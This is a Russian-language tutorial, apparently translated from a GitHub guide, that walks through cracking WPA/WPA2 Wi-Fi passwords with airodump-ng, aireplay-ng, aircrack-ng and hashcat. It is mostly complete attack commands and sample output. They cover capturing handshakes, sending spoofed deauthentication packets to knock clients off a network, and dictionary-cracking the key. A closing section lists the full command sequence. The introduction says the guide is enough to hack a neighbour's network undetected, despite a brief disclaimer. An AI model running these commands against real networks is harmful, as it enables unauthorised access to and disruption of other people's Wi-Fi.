Взлом маршрутизаторов WPA/WPA2 Wi-Fi с помощью Airodump-ng и Aircrack-ng/Hashcat

Это краткое пошаговое руководство, которое демонстрирует способ взлома сетей Wi-Fi, защищённых слабыми паролями. Оно не исчерпывающее, но этой информации должно хватить, чтобы вы протестировали свою собственную сетевую безопасность или взломали кого-нибудь поблизости. Изложенная ниже атака полностью пассивна (только прослушивание, ничего не транслируется с вашего компьютера) и о ней невозможно узнать, если вы только реально не воспользуетесь паролем, который взломали. Необязательную активную атаку с деаутентификацией можно применить для ускорения разведывательного процесса. Она описана в конце статьи.  
  
Если вы знакомы с процессом, можете пропустить описания и сразу перейти к списку команд в конце. Разнообразные предложения и альтернативные методы перечислены в [приложении](https://github.com/brannondorsey/wifi-cracking/blob/master/appendix.md).  
  
**ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данное ПО/руководство предназначено только для образовательных целей. Его нельзя использовать для нелегальной активности. Автор не несёт ответственности за его использование. Не будь уродом.**

Для начала

Это руководство предполагает, что вы:

* В целом не испытываете проблем с использованием командной строки.
* Работаете в дистрибутиве Linux на базе Debian, желательно [Kali linux](https://www.kali.org/) (пользователям OS X см. [приложение](https://github.com/brannondorsey/wifi-cracking/blob/master/appendix.md)).
* У вас установлен [Aircrack-ng](http://aircrack-ng.org/)  
  + sudo apt-get install aircrack-ng
* Ваша карта беспроводной связи поддерживает [режим монитора](https://en.wikipedia.org/wiki/Monitor_mode) (см. [список](http://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles-2016.html) совместимых устройств).

Взлом сети Wi-Fi

Режим монитора

Начнём со списка беспроводных интерфейсов, которые поддерживают режим монитора:  
  
airmon-ng   
  
Если вы не видите интерфейсов в списке, то ваша карта не поддерживает режим монитора. :(  
  
Предположим, что название вашего интерфейса wlan0, но используйте настоящее название, если оно отличается от этого. Далее, переведём интерфейс в режим монитора:  
  
airmon-ng start wlan0   
  
Запускаем iwconfig. Теперь вы должны увидеть новый интерфейс монитора (скорее всего, mon0 или wlan0mon).

Найти цель

Начните прослушивать трансляцию [кадров неисправности](https://en.wikipedia.org/wiki/Beacon_frame) окружающих беспроводных маршрутизаторов, используя свой интерфейс монитора:  
  
airodump-ng mon0  
  
Вы должны увидеть примерно такую выдачу.

CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49

BSSID PWR Beacons *#Data, #/s CH MB ENC CIPHER AUTH ESSID*

14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests

14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8

14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>

14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro

9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme

00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome

06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2

78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2

9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast\_2EEA-EXT

BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root

EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca

Захват 4-стороннего рукопожатия

WPA/WPA2 использует [4-стороннее рукопожатие](https://security.stackexchange.com/questions/17767/four-way-handshake-in-wpa-personal-wpa-psk) для аутентификации устройств в сети. Неважно, что это значит, но вам нужно захватить одно из этих рукопожатий, чтобы взломать сетевой пароль. Эти рукопожатия происходят каждый раз, когда устройства подключаются к сети, например, когда ваш сосед возвращается домой с работы. Чтобы перехватить рукопожатие, мы направляем airmon-ng для мониторинга трафика в целевой сети, используя значения канала и bssid, полученные предыдущей командой.  
  
# replace -c and --bssid values with the values of your target network  
# -w specifies the directory where we will save the packet capture  
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0 

CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS

Теперь мы ждём… Как только будет захвачено рукопожатие, вы должны увидеть в правом верхнем углу экрана, рядом с текущим временем что-то вроде [ WPA handshake: bc:d3:c9:ef:d2:67.  
  
Если не терпится и вы согласны на активную атаку, то можете заставить устройства в сети заново соединиться, принудительно разъединив их. Для этого им нужно отправить вредоносные пакеты на деаутентификацию. Это часто приводит к перехвату 4-стороннего рукопожатия. См. раздел об атаке с деаутентификацией ниже.  
  
Как только вы перехватили рукопожатие, нажмите ctrl-c для выхода из airodump-ng. Вы увидите файл .cap там, где указали airodump-ng сохранять перехваты (скорее всего, он называется -01.cap). Мы используем этот файл перехвата для взлома сетевого пароля. Я люблю менять название файла в соответствии с названием сети, которую мы будем взламывать:  
  
mv ./-01.cap hackme.cap 

Взлом пароля сети

Последний шаг — это взломать пароль, используя перехваченное рукопожатие. Если у вас есть доступ к GPU, **настоятельно** рекомендую использовать для взлома пароля hashcat. Я создал простой инструмент, с помощью которого использовать hashcat очень легко: он называется [naive-hashcat](https://github.com/brannondorsey/naive-hashcat). Если у вас нет доступа к GPU, то можно воспользоваться различными онлайновыми GPU-сервисами для взлома, вроде [GPUHASH.me](https://gpuhash.me/) или [OnlineHashCrack](https://www.onlinehashcrack.com/wifi-wpa-rsna-psk-crack.php). Можете также попробовать использовать CPU-брутфорс с помощью Aircrack-ng.  
  
Обратите внимание, что оба метода атаки ниже предполагают относительно простой пользовательский пароль. Большинство маршрутизаторов WPA/WPA2 поставляются с сильными 12-значными случайными паролями, которые большинство пользователей оставляют без изменений (и правильно делают). Если пробуете взломать один из таких паролей, рекомендую использовать словарные файлы [Probable-Wordlists WPA-length](https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords/WPA-Length).  
  
**Взлом с помощью naive-hashcat (рекомендуемый метод)**   
До того, как начать взлом пароля с помощью naive-hashcat, нужно конвертировать наш файл .cap в эквивалентный hashcat формат для .hccapx. Это легко сделать или загрузив файл .cap на <https://hashcat.net/cap2hccapx/>, или напрямую используя инструмент [cap2hccapx](https://github.com/hashcat/hashcat-utils).  
  
cap2hccapx.bin hackme.cap hackme.hccapx   
  
Затем скачиваем и запускаем naive-hashcat:  
  
# download  
git clone https://github.com/brannondorsey/naive-hashcat  
cd naive-hashcat  
  
# download the 134MB rockyou dictionary file  
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt  
  
# crack ! baby ! crack !  
# 2500 is the hashcat hash mode for WPA/WPA2  
HASH\_FILE=hackme.hccapx POT\_FILE=hackme.pot HASH\_TYPE=2500 ./naive-hashcat.sh   
  
Naive-hashcat использует различные [словари](https://hashcat.net/wiki/doku.php?id=dictionary_attack), [правила](https://hashcat.net/wiki/doku.php?id=rule_based_attack), [комбинации](https://hashcat.net/wiki/doku.php?id=combinator_attack) и [маски](https://hashcat.net/wiki/doku.php?id=mask_attack) (умный брутфорс) для проведения атаки. Атака на пароль средней сложности может занять дни или даже месяцы. Взломанный пароль будет сохранён в hackme.pot, так что периодически проверяйте этот файл. Как только пароль взломан, то в POT\_FILE вы увидите что-то такое:  
  
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet   
  
Где последние два поля, разделённые : представляют собой имя сети и пароль, соответственно.  
  
Если предпочитаете использовать hashcat без naive-hashcat, то см. [эту страницу](https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2).  
  
**Взлом с Aircrack-ng**   
Aircrack-ng можно использовать для самых простых словарных атак силами CPU. Перед началом атаки нужно получить список слов. Рекомендую использовать известный словарный файл rockyou:  
  
# download the 134MB rockyou dictionary file  
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt   
  
Обратите внимание, что если сетевой пароль отсутствует среди слов в файле, то вы его не взломаете.  
  
# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile  
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap   
  
Как только пароль взломан, вы увидите в окне терминала сообщение KEY FOUND!, после которого будет указан пароль в текстовом виде.

Aircrack-ng 1.2 beta3

[00:01:49] 111040 keys tested (1017.96 k/s)

KEY FOUND! [ hacktheplanet ]

Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89

59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E

Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71

2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73

6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78

8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21

EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4

Атака с деаутентификацией

Атака с деаутентификацией предполагает отправку поддельных пакетов на деаутентификацию с вашей машины клиенту, подключенному к сети, которую вы пытаетесь взломать. Эти пакеты включают в себя поддельные адреса "sender", так что клиент думает, что они отправлены с настоящих точек доступа. Получив такой пакет, большинство клиентов отключаются от сети и немедленно переподключаются, обеспечивая вам возможность участвовать в 4-стороннем рукопожатии, если вы мониторите с помощью airodump-ng.  
  
Используйте airodump-ng для мониторинга конкретной точки доступа (используя -c channel --bssid MAC) до тех пор, пока клиент (STATION) не подключится. Подключенный клиент выглядит примерно так, где 64:BC:0C:48:97:F7 его MAC-адрес:

CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS

BSSID STATION PWR Rate Lost Frames Probe

9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS

Теперь оставим airodump-ng работать, а сами откроем новое окно консоли. Мы используем команду aireplay-ng для отправки пакета на деаутентификацию жертве, заставляя его переподключиться к сети, и будем надеяться на рукопожатие.  
  
# -0 2 specifies we would like to send 2 deauth packets. Increase this number  
# if need be with the risk of noticeably interrupting client network activity  
# -a is the MAC of the access point  
# -c is the MAC of the client  
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0   
  
Как вариант, вы можете транслировать пакеты деаутентификации всем клиентам вокруг:  
  
# not all clients respect broadcast deauths though  
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0   
  
Как только вы отправили пакеты, возвращайтесь к процессу airodump-ng, и при удачном стечении обстоятельств увидите справа вверху: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Теперь вы перехватили рукопожатие и можно начинать взлом пароля сети.

Список команд

Ниже список всех команд, которые нужны для взлома сети WPA/WPA2, по порядку, с минимальным описанием.  
  
# put your network device into monitor mode  
airmon-ng start wlan0  
  
# listen for all nearby beacon frames to get target BSSID and channel  
airodump-ng mon0  
  
# start listening for the handshake  
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0  
  
# optionally deauth a connected client to force a handshake  
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0  
  
########## crack password with aircrack-ng... ##########  
  
# download 134MB rockyou.txt dictionary file if needed  
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt  
  
# crack w/ aircrack-ng  
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap  
  
########## or crack password with naive-hashcat ##########  
  
# convert cap to hccapx  
cap2hccapx.bin capture/-01.cap capture/-01.hccapx  
  
# crack with naive-hashcat  
HASH\_FILE=hackme.hccapx POT\_FILE=hackme.pot HASH\_TYPE=2500 ./naive-hashcat.sh 

Приложение

Отзывы на это руководство были такими замечательными, что я добавил советы и дополнительные материалы от участников сообщества в дополнительное [приложение](https://github.com/brannondorsey/wifi-cracking/blob/master/appendix.md). Изучите его, чтобы узнать, как:

* Перехватывать рукопожатия и взламывать пароли WPA на MacOS/OSX
* Перехватывать рукопожатия со всех сетей вокруг с помощью wlandump-ng
* Использовать crunch для генерации на лету словарных списков на 100 ГБ и больше
* Подделывать свой MAC-адрес с помощью macchanger

Авторство

Основная часть информации здесь почерпнута из великолепного [руководства Льюиса Энкарнасьона](https://lewiscomputerhowto.blogspot.com/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html). Спасибо также авторам и мейнтейнерам Aircrack-ng и Hashcat.  
  
Огромная благодарность [neal1991](https://github.com/neal1991) за перевод этого руководства на [китайский](https://github.com/brannondorsey/wifi-cracking/blob/master/README.zh.md). Кроме того, благодарим [hiteshnayak305](https://github.com/hiteshnayak305), [enilfodne](https://github.com/enilfodne), [DrinkMoreCodeMore](https://www.reddit.com/user/DrinkMoreCodeMore), [hivie7510](https://www.reddit.com/user/hivie7510), [cprogrammer1994](https://github.com/cprogrammer1994), [0XE4](https://github.com/0XE4), [hartzell](https://github.com/hartzell), [zeeshanu](https://github.com/zeeshanu), [flennic](https://github.com/flennic), [bhusang](https://github.com/bhusang), [tversteeg](https://github.com/tversteeg), [gpetrousov](https://github.com/gpetrousov), [crowchirp](https://github.com/crowchirp) и [Shark0der](https://github.com/shark0der) с Reddit и GitHub, которые тоже помогли советами и исправлением опечаток. Если вам интересно узнать о дополнительных вариантах взлома WPA2, почитайте [это](https://news.ycombinator.com/item?id=14840539) обсуждение на Hacker News